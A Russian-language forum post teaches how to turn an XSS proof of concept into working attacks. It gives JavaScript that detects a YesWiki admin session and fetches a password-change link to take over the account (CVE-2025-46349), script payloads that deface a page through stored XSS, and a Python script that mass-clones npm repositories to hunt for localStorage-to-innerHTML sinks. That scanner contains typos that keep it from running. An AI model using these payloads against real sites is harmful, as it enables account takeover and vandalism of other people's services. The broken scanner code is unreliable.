LIMB
Вход Регистрация

тема

XSS - больше, чем alert

ocean · · 0 ответов · 758 просмотров

Эксклюзивно для форума LIMB.cc

Уязвимость XSS, межсайтовый скриптинг, не нуждается в представлении. Чаще всего в качестве пейлода для демонстрации используется alert(1).
    
Если JavaScript имеет доступ к куки (флаг HttpOnly не установлен), пейлод может продемонстрировать возможность их кражи с помощью обращения к document.cookie.    
    
Но что если нам не нужно стилить куки для эксплуатации уязвимости? XSS позволяет выполнять JavaScript в контексте браузера, в котором выполняется код, и работать с куки этого браузера.

Преобразование PoC alert(1) в полноценный эксплойт.
1.Определение того, что это сессия администратора.
2.Действие - повышение привилегий / изменение пароля.
3.Сообщение о результатах.

CVE-2025-46349

Не удалось прогрузить медиа


PoC - https://github.com/YesWiki/yeswiki/security/advisories/GHSA-2f8p-qqx2-gwr2

Всё, что может сделать скрипт при XSS, технически можно выполнить вручную из консоли:
Не удалось прогрузить медиа


Разница между страницами при неавторизованной и авторизованной сессиях:
Спойлер: .
Не удалось прогрузить медиа



Не удалось прогрузить медиа

Большинство сессий администратора будет иметь юзернейм - WikiAdmin, Connected as WikiAdmin;
    
JavaScript:
    if (document.querySelector('#LoginModalLabel')?.textContent.includes('Connected as WikiAdmin')) {
    console.log("Найден WikiAdmin! Выполняем действие...");
    }

Не удалось прогрузить медиа

    
Дальше нет никакого универсального механизма, но обычно из админ-панели можно повысить привилегии / сменить пароль / создать аккаунт.

Посмотрим, что у нас тут:

На странице ParametresUtilisateur функционал Change the password требует старый пароль. И в то же время
Не удалось прогрузить медиа


Что это? :)

Ссылка валидна из пустого контекста!
Не удалось прогрузить медиа


    Скрипт:
JavaScript:
        if (document.querySelector('#LoginModalLabel')?.textContent.includes('Connected as WikiAdmin')) {
            console.log("Найден WikiAdmin! Выполняем запрос...");

    const xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://localhost/yeswiki/?ParametresUtilisateur', true);
    xhr.onload = function() {
        if (xhr.status === 200) {
            const parser = new DOMParser();
            const doc = parser.parseFromString(xhr.responseText, 'text/html');

            const link = doc.querySelector('.controls.col-sm-9 a');
            if (link) {
                const href = link.getAttribute('href');
                console.log('Найденная ссылка:', href);
            } else {
                console.warn('Ссылка не найдена в ответе.');
            }
        } else {
            console.error('Ошибка при выполнении запроса:', xhr.status);
        }
    };
    xhr.onerror = function() {
        console.error('Ошибка сети при выполнении запроса.');
    };
    xhr.send();
}
Вот такой вот нехитрый аккаунт-тейковер с XSS :)
Не удалось прогрузить медиа

Особенность в том, что если браузерный скрипт выполняется на том же происхождении (same‑origin: протокол + хост + порт) и у запроса есть нужные учётные данные, то fetch / XMLHttpRequest без проблем получит условный /profile.php.


Ещё одна интересная атака, которую можно провернуть через хранимую XSS - это дефейс сайта.

Она хорошо подойдёт для уязвимостей типа - https://www.exploit-db.com/exploits/52043

Делается с помощью одного метода, а именно:
   
JavaScript:
<script>document.documentElement.innerHTML=""</script>
 - получаем пустую страницу
    
       
JavaScript:
<script>document.documentElement.innerHTML='<div style="height:100vh;display:flex;justify-content:center;align-items:center;font-size:5rem;background:linear-gradient(135deg,#ff00ff,#00ffff,#ffff00,#ff0000);animation:rainbow 5s infinite linear;">😜👅✨</div><style>@keyframes rainbow{0%{background-position:0% 50%}50%{background-position:100% 50%}100%{background-position:0% 50%}}</style>'</script>
    
Получаем 
Не удалось прогрузить медиа




В завершение оставлю интересный скрипт. XSS может возникать в разных точках приложения.

Поскольку HTTP - это протокол без состояния, каждый запрос не хранит информацию о предыдущих. В браузере есть механизм локального хранилища.

Туда часто кладут JWT-токен. Добавив пейлод, получится XSS? Ну, как мне кажется, ничего не получится - просто получится невалидный токен.

JavaScript:
const tok = localStorage.getItem('jwt');
fetch('/api', { headers: { Authorization: 'Bearer ' + tok }});

Никакого выполнения JS не произойдёт.

Но если данные берутся из localStorage и вставляются в HTML, получается XSS. В localStorage теоретически можно сохранить любую информацию.

Значит, в коде должен быть вызван метод localStorage.getItem + dangerouslySetInnerHTML / innerHTML.

Берём GitHub-пакеты npm - https://github.com/nice-registry/all-the-package-repos/blob/master/data/packages.json (получаем около 2 миллионов репозиториев)

Скрипт:
Python:
import subprocess
import time
import random
from pathlib import Path
import shutil

# Файл с ссылками
file_path = "gits.txt"

# Проверка, что файл существует
if not Path(file_path).is_file():
    print(f"Файл {file_path} не найден!")
    exit(1)


# Чтение ссылок
with pen(file_path, "r") as f:
    repos = [line.strip() for line in f if line.strip()]

for repo in repos:
    print(f"\n$ echo 'Начинаем работу с репозиторием: {repo}'")

# Определяем имя папки для клона
    repo_name = repo.rstrip("/").split("/")[-1]
    print(f"$ echo 'Папка для клона: {repo_name}'")

# Формируем команду git clone с depth 1
    cmd = ["git", "clone", "--depth", "1", repo]
    print(f"$ {' '.join(cmd)}")

  
# Запуск команды с таймаутом
    try:
        result = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, timeout=60)
        print(result.stdout)
        if result.returncode != 0:
            if "not found" in result.stdout.lower():
                print(f"$ echo 'Репозиторий {repo} не найден (404).'")
            else:
                print(f"$ echo 'Ошибка при скачивании {repo}!'")
            continue  # Переходим к следующему репозиторию
        else:
            print(f"$ echo 'Репозиторий {repo} успешно скачан!'")
    except subprocess.TimeoutExpired:
        print(f"$ echo 'Таймаут при скачивании {repo}, пропускаем репозиторий.'")
        cotinue

    repo_path = Path(repo_name)
    local_storage_found = False
    inner_html_found = False

    for file in repo_path.rglob("*"):
        if file.is_file():
            try:
                text = file.read_text(errors="ignore")
                if "localStorage.getItem" in text:
                    local_storae_found = True
                if "dangerouslySetInnerHTML" in text or "innerHTML" in text:
                    inner_html_found = True
            except Exception:
                pass  # Игнорируем ошибки чтения файлов

    if local_storage_found and inner_html_found:
        print(f"$ echo 'НАЙДЕНО: {repo}'")

    else:
        print(f"$ echo 'НЕ НАЙДЕНО: {repo}'")
        try:
            shutil.rmtree(repo_path)
            print(f"$ echo 'Папка {repo_name} удалена, так как ничего не найдено.'")
        except Exception as e:
            print(f"$ echo 'Ошибка при удалении папки {repo_name}: {e}'")

    wait_time = random.randint(20, 90)
    print(f"$ echo 'Жду {wait_time} секунд перед следующим репозиторием...'")
    time.sleep(wait_time)

    Прогнав 100 репозиториев, ни одной 0-day не поймалось, но там осталось ещё около двух миллионов репозиториев :)
👍39 🔥9 🤔6 😢11

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.